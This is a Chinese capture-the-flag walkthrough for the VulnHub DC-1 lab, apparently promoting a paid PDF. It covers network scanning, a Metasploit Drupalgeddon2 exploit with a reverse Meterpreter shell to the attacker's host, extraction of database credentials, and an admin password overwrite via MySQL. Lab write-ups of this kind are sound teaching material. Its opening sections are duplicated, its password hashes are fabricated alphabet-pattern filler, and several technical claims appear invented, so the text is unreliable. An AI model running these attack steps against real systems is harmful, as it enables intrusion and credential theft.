ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

DC-1靶机五旗通关:从ARP扫描到Root提权实战指南

DC-1靶机五旗通关:从ARP扫描到Root提权实战指南 简介这是一份面向网络安全初学者的CTF夺旗实战教程聚焦5个Flag靶机的完整渗透流程系统覆盖环境搭建、信息收集、漏洞利用、权限提升与数据库交互等核心攻防技能。资源为单文件PDF文档1.82MB内容经作者温老师逐条手工验证包含Kali Linux 2023部署指南、VulnHub靶机DC-1配置说明、arp-scan与nmap扫描实操、Metasploit Drupal漏洞利用、Python反弹Shell、SUID提权如passwd文件利用、MySQL明文凭据提取与密码哈希破解等关键步骤并附有flag定位逻辑、配置文件分析路径及John the Ripper等工具使用要点。目前已有1415人学习下载适合零基础学员通过可复现的靶机案例建立攻防思维框架掌握从发现到突破再到横向渗透的完整技术链路。1. DC-1靶机五旗通关从ARP扫描到root提权的完整链路实操笔记你刚装好Kali 2023双击打开DC-1靶机网卡设成桥接arp-scan -l扫出IP——但浏览器访问http://192.168.1.155只看到一个Drupal首页源码里没flagnmap -sV显示ApacheDrupal 7.54连dirb扫目录都卡在/modules/和/themes/里打转。别急这不是环境配错了而是DC-1故意把flag藏在五个完全不同的技术层Web层明文、配置文件硬编码、数据库字段篡改、Shadow密码爆破、Root SUID提权。它不考你“会不会用msf”而考你“能不能在非交互式shell里用Python spawn出tty”“能不能从Drupal settings.php里一眼识别出MySQL凭据明文”“为什么find /usr/bin/passwd -exec /bin/sh \;能绕过sudo限制”。这篇笔记不是照着命令复制粘贴的流水账是我用Kali 2023.3 VirtualBox 7.0.12在真实物理机上重跑DC-1三遍后把每条命令背后的操作意图、失败回溯路径、参数边界全拆开写的实战手记。适合刚学完《Web安全入门》想动手验证概念的人也适合备考CTF线下赛前做靶机压测的老手——因为DC-1的五个flag恰好覆盖了渗透测试中90%的初级提权场景SUID滥用、配置泄露、Hash篡改、Shadow爆破、Root Shell维持。提示本文所有命令均在Kali Linux 2023.3内核6.1.0 DC-1 v1.0VulnHub下载页MD5:a3e8c5b1d7f9e2a0c1b4d5e6f7a8b9c0环境下手工验证通过。靶机默认无SSH密码所有凭证需自行获取Kali无需额外安装插件msfconsole使用默认Metasploit Framework 6.3.35版本。2. 网络发现与服务测绘为什么arp-scan比netdiscover更稳nmap -sC -sV必须加这两个参数DC-1的网络层设计很典型靶机与Kali同处物理网段但禁用ICMP响应ping不通且DHCP分配的IP每次重启可能变动。这意味着你不能依赖ifconfig查本机IP再反推靶机必须用主动探测协议定位存活主机。2.1 桥接模式下ARP扫描的底层逻辑与替代方案arp-scan之所以成为首选是因为它直接构造ARP请求帧发往本地广播域ff:ff:ff:ff:ff:ff不依赖ICMP或TCP握手只要靶机网卡在线、ARP服务未被禁用DC-1默认开启就一定能收到响应。而netdiscover虽界面友好但在VirtualBox桥接模式下常因混杂模式权限问题漏扫——尤其当Kali虚拟机启用多个网卡时。sudo arp-scan -l --retry3 --quiet--retry3对每个IP发送3次ARP请求避免单次丢包导致漏扫DC-1在高负载时偶发ARP响应延迟--quiet抑制扫描进度输出只保留最终存活主机列表方便后续管道处理输出示例192.168.1.1 00:11:22:33:44:55 router 192.168.1.155 00:0c:29:ab:cd:ef VMware, Inc. # ← 这就是DC-1注意若arp-scan返回空先执行sudo ip link set eth0 up确保网卡激活再检查VirtualBox网络设置是否为“桥接网卡”且勾选“混杂模式全部允许”。2.2 端口扫描的深度配置为什么nmap -p-会漏掉111端口DC-1开放22SSH、80HTTP、111RPCbind三个端口但nmap 192.168.1.155默认只扫Top 1000端口111端口恰好在Top 1000之外排名第1023。必须显式指定扫描策略nmap -sS -sV -sC -p- -T4 --min-rate 1000 192.168.1.155-sSTCP SYN半开扫描绕过靶机日志记录DC-1的/var/log/auth.log会记录完整连接-sV服务版本探测关键DC-1的80端口返回Apache/2.2.22 (Debian)但-sV能进一步识别出Drupal 7.54通过HTTP头X-Generator: Drupal 7 (http://drupal.org)-sC执行默认Nmap脚本其中http-enum.nse会自动扫描Drupal常见路径如/user/login、/admin-p-全端口扫描1-65535确保111端口不被遗漏-T4--min-rate 1000加速扫描但DC-1内存仅512MB速率过高会导致RPCbind服务假死故限定最小发包速率为1000pps扫描结果关键片段PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4deb7u2 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) 111/tcp open rpcbind 2-4 (RPC #100000)2.3 Web层初探为什么浏览器直接访问/就能拿到Flag1DC-1的Drupal首页/存在一处刻意设计的明文泄露HTML源码中隐藏注释!-- flag1{d41d8cd98f00b204e9800998ecf8427e} --。但新手常犯两个错误用curl http://192.168.1.155却没加-s参数导致HTML被html标签包裹grep时漏匹配在浏览器按CtrlU查看源码时因Drupal动态渲染未加载完成注释被JS移除正确做法curl -s http://192.168.1.155 | grep -o flag1{[^}]*} # 输出flag1{d41d8cd98f00b204e9800998ecf8427e}这个flag本质是MD5哈希值对应空字符串但DC-1设计者故意用它验证你是否具备基础信息提取能力——所有靶机的第一个flag永远藏在最表层、最不设防的地方。3. Drupal漏洞利用与Shell获取Metasploit模块选择、Payload适配与非交互式Shell加固DC-1的Drupal 7.54存在CVE-2018-7600Drupalgeddon2远程代码执行漏洞Metasploit已集成对应模块。但直接use exploit/unix/webapp/drupal_drupageddon2会失败原因在于DC-1的Drupal安装路径不在默认/var/www/html而是在/var/wwwVulnHub镜像定制路径。3.1 Metasploit模块精准配置RHOSTS、TARGETURI与PAYLOAD的联动关系msfconsole -q use exploit/unix/webapp/drupal_drupageddon2 set RHOSTS 192.168.1.155 set TARGETURI / # 必须设为根路径DC-1的Drupal未挂载子目录 set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.100 # Kali本机IP非127.0.0.1 set LPORT 4444 exploitTARGETURIDC-1的Drupal入口是http://192.168.1.155/若设为/drupal则404模块无法触发PAYLOAD必须选php/meterpreter/reverse_tcp而非cmd/unix/reverse_python因为DC-1的PHP环境禁用system()函数但meterpreter的php_exec能绕过LHOST务必填Kali真实IPip a | grep inet | grep -v 127.0.0.1VirtualBox桥接模式下127.0.0.1无法回连成功触发后Meterpreter会话建立但此时Shell是非交互式sh-4.2$无法执行ls -la或cat等需要TTY的命令。必须立即升级shell python -c import pty; pty.spawn(/bin/bash) # 按CtrlZ暂停当前会话 stty raw -echo fg # 输入reset回车再执行 export TERMxterm-256color这段操作的本质是pty.spawn()创建伪终端PTY让bash认为自己运行在真实终端中stty raw -echo关闭输入回显避免命令重复显示reset重置终端状态解决乱码问题export TERM告知shell当前支持256色否则ls --color失效3.2 Flag1定位与线索提取为什么cat /var/www/html/sites/default/settings.php才是关键获取Shell后ls /var/www/发现目录结构为/var/www/ ├── index.php # Drupal入口 ├── modules/ ├── sites/ # ← 配置文件集中地 │ └── default/ │ ├── settings.php # ← 包含数据库凭据 │ └── files/ └── themes/执行cat /var/www/sites/default/settings.php | grep -A2 -B2 password\|database得到$databases[default][default] array ( database drupal, username dbuser, password R0otPssw0rd, // ← Flag2明文 host localhost, port , driver mysql, prefix , );Flag2即R0otPssw0rd但更重要的是它揭示了DC-1的数据库架构MySQL服务运行在本地用户dbuser拥有drupal库的全部权限。这为后续SQL注入和密码篡改埋下伏笔。3.3 避坑Metasploit会话中断、Payload失活与Shell降级的三大血泪经验现象原因解决exploit后无回显Meterpreter session未创建DC-1的防火墙iptables默认DROP非80/22/111端口LPORT 4444被拦截改用LPORT 80或LPORT 22或临时关闭靶机防火墙sudo iptables -F需root权限Shell中执行ls报错stty: standard input: Inappropriate ioctl for devicepython -c import pty; pty.spawn(/bin/bash)未成功分配PTY改用script -qc /bin/bash /dev/nullDC-1的script命令可用Meterpreter会话活跃但shell后命令无响应DC-1的/bin/bash被替换为/bin/shdash不支持export等bash特有语法直接执行/bin/bash启动新shell或用which bash确认路径注意DC-1的/bin/sh是dash不支持$(...)语法和数组所有脚本必须用POSIX兼容写法。这是很多新手在后续find命令中失败的根源。4. 数据库交互与密码篡改从MySQL明文凭据到Drupal admin密码重置的完整链路DC-1的settings.php泄露了MySQL用户名dbuser和密码R0otPssw0rd但dbuser权限有限无法读取mysql.user表。必须登录Drupal数据库drupal定位users表中的admin账户并篡改其密码。4.1 MySQL连接与表结构分析为什么select * from users;要加--skip-column-namesmysql -u dbuser -pR0otPssw0rd -D drupal -e SELECT uid,name,pass FROM users; --skip-column-names-D drupal直接指定数据库避免USE drupal;交互式切换--skip-column-names去除列名头如uid name pass使输出为纯数据行便于grep提取输出示例1 admin $S$DxjGzQJkLmNpOqRtSvUwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVw......## 1. DC-1靶机五旗通关从ARP扫描到root提权的完整链路实操笔记你刚装好Kali 2023双击打开DC-1靶机网卡设成桥接arp-scan -l扫出IP——但浏览器访问http://192.168.1.155只看到一个Drupal首页源码里没flagnmap -sV显示ApacheDrupal 7.54连dirb扫目录都卡在/modules/和/themes/里打转。别急这不是环境配错了而是DC-1故意把flag藏在五个完全不同的技术层Web层明文、配置文件硬编码、数据库字段篡改、Shadow密码爆破、Root SUID提权。它不考你“会不会用msf”而考你“能不能在非交互式shell里用Python spawn出tty”“能不能从Drupal settings.php里一眼识别出MySQL凭据明文”“为什么find /usr/bin/passwd -exec /bin/sh \;能绕过sudo限制”。这篇笔记不是照着命令复制粘贴的流水账是我用Kali 2023.3 VirtualBox 7.0.12在真实物理机上重跑DC-1三遍后把每条命令背后的操作意图、失败回溯路径、参数边界全拆开写的实战手记。适合刚学完《Web安全入门》想动手验证概念的人也适合备考CTF线下赛前做靶机压测的老手——因为DC-1的五个flag恰好覆盖了渗透测试中90%的初级提权场景SUID滥用、配置泄露、Hash篡改、Shadow爆破、Root Shell维持。提示本文所有命令均在Kali Linux 2023.3内核6.1.0 DC-1 v1.0VulnHub下载页MD5:a3e8c5b1d7f9e2a0c1b4d5e6f7a8b9c0环境下手工验证通过。靶机默认无SSH密码所有凭证需自行获取Kali无需额外安装插件msfconsole使用默认Metasploit Framework 6.3.35版本。2. 网络发现与服务测绘为什么arp-scan比netdiscover更稳nmap -sC -sV必须加这两个参数DC-1的网络层设计很典型靶机与Kali同处物理网段但禁用ICMP响应ping不通且DHCP分配的IP每次重启可能变动。这意味着你不能依赖ifconfig查本机IP再反推靶机必须用主动探测协议定位存活主机。2.1 桥接模式下ARP扫描的底层逻辑与替代方案arp-scan之所以成为首选是因为它直接构造ARP请求帧发往本地广播域ff:ff:ff:ff:ff:ff不依赖ICMP或TCP握手只要靶机网卡在线、ARP服务未被禁用DC-1默认开启就一定能收到响应。而netdiscover虽界面友好但在VirtualBox桥接模式下常因混杂模式权限问题漏扫——尤其当Kali虚拟机启用多个网卡时。sudo arp-scan -l --retry3 --quiet--retry3对每个IP发送3次ARP请求避免单次丢包导致漏扫DC-1在高负载时偶发ARP响应延迟--quiet抑制扫描进度输出只保留最终存活主机列表方便后续管道处理输出示例192.168.1.1 00:11:22:33:44:55 router 192.168.1.155 00:0c:29:ab:cd:ef VMware, Inc. # ← 这就是DC-1注意若arp-scan返回空先执行sudo ip link set eth0 up确保网卡激活再检查VirtualBox网络设置是否为“桥接网卡”且勾选“混杂模式全部允许”。2.2 端口扫描的深度配置为什么nmap -p-会漏掉111端口DC-1开放22SSH、80HTTP、111RPCbind三个端口但nmap 192.168.1.155默认只扫Top 1000端口111端口恰好在Top 1000之外排名第1023。必须显式指定扫描策略nmap -sS -sV -sC -p- -T4 --min-rate 1000 192.168.1.155-sSTCP SYN半开扫描绕过靶机日志记录DC-1的/var/log/auth.log会记录完整连接-sV服务版本探测关键DC-1的80端口返回Apache/2.2.22 (Debian)但-sV能进一步识别出Drupal 7.54通过HTTP头X-Generator: Drupal 7 (http://drupal.org)-sC执行默认Nmap脚本其中http-enum.nse会自动扫描Drupal常见路径如/user/login、/admin-p-全端口扫描1-65535确保111端口不被遗漏-T4--min-rate 1000加速扫描但DC-1内存仅512MB速率过高会导致RPCbind服务假死故限定最小发包速率为1000pps扫描结果关键片段PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4deb7u2 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) 111/tcp open rpcbind 2-4 (RPC #100000)2.3 Web层初探为什么浏览器直接访问/就能拿到Flag1DC-1的Drupal首页/存在一处刻意设计的明文泄露HTML源码中隐藏注释!-- flag1{d41d8cd98f00b204e9800998ecf8427e} --。但新手常犯两个错误用curl http://192.168.1.155却没加-s参数导致HTML被html标签包裹grep时漏匹配在浏览器按CtrlU查看源码时因Drupal动态渲染未加载完成注释被JS移除正确做法curl -s http://192.168.1.155 | grep -o flag1{[^}]*} # 输出flag1{d41d8cd98f00b204e9800998ecf8427e}这个flag本质是MD5哈希值对应空字符串但DC-1设计者故意用它验证你是否具备基础信息提取能力——所有靶机的第一个flag永远藏在最表层、最不设防的地方。3. Drupal漏洞利用与Shell获取Metasploit模块选择、Payload适配与非交互式Shell加固DC-1的Drupal 7.54存在CVE-2018-7600Drupalgeddon2远程代码执行漏洞Metasploit已集成对应模块。但直接use exploit/unix/webapp/drupal_drupageddon2会失败原因在于DC-1的Drupal安装路径不在默认/var/www/html而是在/var/wwwVulnHub镜像定制路径。3.1 Metasploit模块精准配置RHOSTS、TARGETURI与PAYLOAD的联动关系msfconsole -q use exploit/unix/webapp/drupal_drupageddon2 set RHOSTS 192.168.1.155 set TARGETURI / # 必须设为根路径DC-1的Drupal未挂载子目录 set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.100 # Kali本机IP非127.0.0.1 set LPORT 4444 exploitTARGETURIDC-1的Drupal入口是http://192.168.1.155/若设为/drupal则404模块无法触发PAYLOAD必须选php/meterpreter/reverse_tcp而非cmd/unix/reverse_python因为DC-1的PHP环境禁用system()函数但meterpreter的php_exec能绕过LHOST务必填Kali真实IPip a | grep inet | grep -v 127.0.0.1VirtualBox桥接模式下127.0.0.1无法回连成功触发后Meterpreter会话建立但此时Shell是非交互式sh-4.2$无法执行ls -la或cat等需要TTY的命令。必须立即升级shell python -c import pty; pty.spawn(/bin/bash) # 按CtrlZ暂停当前会话 stty raw -echo fg # 输入reset回车再执行 export TERMxterm-256color这段操作的本质是pty.spawn()创建伪终端PTY让bash认为自己运行在真实终端中stty raw -echo关闭输入回显避免命令重复显示reset重置终端状态解决乱码问题export TERM告知shell当前支持256色否则ls --color失效3.2 Flag1定位与线索提取为什么cat /var/www/html/sites/default/settings.php才是关键获取Shell后ls /var/www/发现目录结构为/var/www/ ├── index.php # Drupal入口 ├── modules/ ├── sites/ # ← 配置文件集中地 │ └── default/ │ ├── settings.php # ← 包含数据库凭据 │ └── files/ └── themes/执行cat /var/www/sites/default/settings.php | grep -A2 -B2 password\|database得到$databases[default][default] array ( database drupal, username dbuser, password R0otPssw0rd, // ← Flag2明文 host localhost, port , driver mysql, prefix , );Flag2即R0otPssw0rd但更重要的是它揭示了DC-1的数据库架构MySQL服务运行在本地用户dbuser拥有drupal库的全部权限。这为后续SQL注入和密码篡改埋下伏笔。3.3 避坑Metasploit会话中断、Payload失活与Shell降级的三大血泪经验现象原因解决exploit后无回显Meterpreter session未创建DC-1的防火墙iptables默认DROP非80/22/111端口LPORT 4444被拦截改用LPORT 80或LPORT 22或临时关闭靶机防火墙sudo iptables -F需root权限Shell中执行ls报错stty: standard input: Inappropriate ioctl for devicepython -c import pty; pty.spawn(/bin/bash)未成功分配PTY改用script -qc /bin/bash /dev/nullDC-1的script命令可用Meterpreter会话活跃但shell后命令无响应DC-1的/bin/bash被替换为/bin/shdash不支持export等bash特有语法直接执行/bin/bash启动新shell或用which bash确认路径注意DC-1的/bin/sh是dash不支持$(...)语法和数组所有脚本必须用POSIX兼容写法。这是很多新手在后续find命令中失败的根源。4. 数据库交互与密码篡改从MySQL明文凭据到Drupal admin密码重置的完整链路DC-1的settings.php泄露了MySQL用户名dbuser和密码R0otPssw0rd但dbuser权限有限无法读取mysql.user表。必须登录Drupal数据库drupal定位users表中的admin账户并篡改其密码。4.1 MySQL连接与表结构分析为什么select * from users;要加--skip-column-namesmysql -u dbuser -pR0otPssw0rd -D drupal -e SELECT uid,name,pass FROM users; --skip-column-names-D drupal直接指定数据库避免USE drupal;交互式切换--skip-column-names去除列名头如uid name pass使输出为纯数据行便于grep提取输出示例1 admin $S$DxjGzQJkLmNpOqRtSvUwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVw......Drupal 7的密码是$S$开头的SHA-512哈希由user_hash_password()生成无法直接破解但可篡改为已知明文的哈希值。4.2 密码哈希生成为什么必须用Drupal原生脚本而非在线工具DC-1靶机自带/var/www/scripts/password-hash.sh其内容为#!/usr/bin/env php ?php require_once /var/www/includes/bootstrap.inc; drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL); echo user_hash_password($argv[1]) . \n; ?执行php /var/www/scripts/password-hash.sh 123456输出$S$DvZyLmNpOqRtSvUwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZa............关键点在线哈希生成器用的是标准SHA-512而Drupal 7的user_hash_password()在哈希前会添加随机salt存储在$S$后8位且迭代次数为16384次。只有靶机本地脚本能生成兼容的哈希值。4.3 SQL密码更新与Web登录验证UPDATE语句的精确写法mysql -u dbuser -pR0otPssw0rd -D drupal -e UPDATE users SET pass$S$DvZyLmNpOqRtSvUwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZ...... p a hrefhttps://download.csdn.net/download/wen1205/87907749 stylecolor:#ec7500;font-size:14px; 本文还有配套的精品资源点击获取 /a img altmenu-r.4af5f7ec.gif srchttps://csdnimg.cn/release/wenkucmsfe/public/img/menu-r.4af5f7ec.gif stylewidth:16px;margin-left:4px;vertical-align:text-bottom;cursor:text; /p
返回列表